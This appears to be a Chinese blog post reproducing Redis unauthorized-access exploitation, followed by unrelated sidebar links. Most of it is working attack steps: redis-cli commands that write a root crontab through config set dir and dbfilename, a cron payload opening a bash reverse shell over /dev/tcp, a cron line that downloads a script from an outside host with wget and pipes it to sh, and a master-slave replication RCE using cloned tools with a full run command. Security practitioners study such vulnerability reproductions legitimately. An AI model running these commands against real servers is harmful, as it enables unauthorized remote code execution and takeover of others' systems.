当前位置:网站首页>漏洞复现-redis未授权getshell
漏洞复现-redis未授权getshell
2022-08-09 18:37:00 【amingMM】
redis未授权getshell
简介:
Redis是一个开源的使用ANSI C语言编写、
支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,
并提供多种语言的API。
作为一个高性能的key-value数据库,
Redis在部分场景下对关系数据库起到很好的补充作用。
任务 getshell
E:\hack\envir\redis>redis-cli -h 120.xx.xx.4

rdm客户端 — info 打印 一下 未授权 Linux服务器
set xx "\n* * * * * bash -i >& /dev/tcp/ip/端口 0>&1\n"
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh

tw:0>config set dir /var/spool/cron/
"ERR Changing directory: No such file or directory"
尝试其他办法
tw2:0>config set dir /var/spool/cron/
"OK"
tw2:0>tw2:0>config set dbfilename root
"OK"
save
140.112.90.153:6379> save
(error) ERR
原因分析:
启动redis-server服务时,没有root权限
解决方案:
sudo kill -9 pid #将redis服务杀掉
sudo redis-server ***/redis.config #sudo使用root权限启动
主从复制 getshell
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git
进入RedisModules-ExecuteCommand目录输入
make
会生成moudle.so 文件

# cp /home/amingmm/RedisModules-ExecuteCommand/module.so /home/amingmm/RedisModules-ExecuteCommand/redis-rce
把生成的moudle.so复制到redis-rce目录里面,之后进入redis-rce目录里面输入
python redis-rce.py -r 192.168.111.132 -p 6379 -L 192.168.111.130 -f moudle.so
边栏推荐
猜你喜欢
![[免费专栏] Android安全之Xposed插件开发【从零手把手带】教程](/img/7b/a036ac664c7e27ed7d87e7ee18c05d.png)
[免费专栏] Android安全之Xposed插件开发【从零手把手带】教程
![[] free column Android run Android, her - as command of safety](/img/d5/771802eb57f24c1cf88657f5c5a724.png)
[] free column Android run Android, her - as command of safety

ebook下载 | 《 企业高管IT战略指南——企业为何要落地DevOps》

IDEA tools commonly used configuration

优秀的 Verilog/FPGA开源项目介绍(三十一)- OFDM
![[Free Column] Android Security for Peace Elite (FZ) APK Reverse Analysis](/img/22/a5129a310eec5ee1bf6f1cf90d05de.png)
[Free Column] Android Security for Peace Elite (FZ) APK Reverse Analysis

IDEA工具常用配置

工大科雅深交所上市:市值45亿 齐承英家族是大股东

渗透测试——CFS三层靶机内网渗透实操

Detailed explanation of VIT transformer
随机推荐
Openharmony Lightweight System Experiment--GPIO Lighting
[Free column] APK dynamic reverse application of Android security [Three Smali injection methods]
JMeter压测时如何在达到给定错误数量后停止测试
最新BEV感知基线 | 你确定需要激光雷达?(卡内基梅隆大学)
NetCore路由的Endpoint模式
ebook下载 | 《 企业高管IT战略指南——企业为何要落地DevOps》
An overview of Office 365 Groups and how to create them
基于设计稿识别的可视化低代码系统实践
IS31FL3737B 通用12×12 LED驱动器 I2C 42mA 40QFN
AWS CodePipeLine 跨账号部署ECS
[] free column Android run Android, her - as command of safety
Go-Excelize API源码阅读(五)—— Close()
IDEA tools commonly used configuration
智驾科技完成C1轮融资,此前2轮已融4.5亿元
数学建模——模拟退火
mysql 重复数据 分组 多条最新的记录
Mysql table structure change scheme comparison and analysis
全自动化机器学习建模!效果吊打初级炼丹师!
21天学习挑战赛--第四天打卡(横竖屏切换)
Start cleaning up the long-term divers in the electronic chart development group again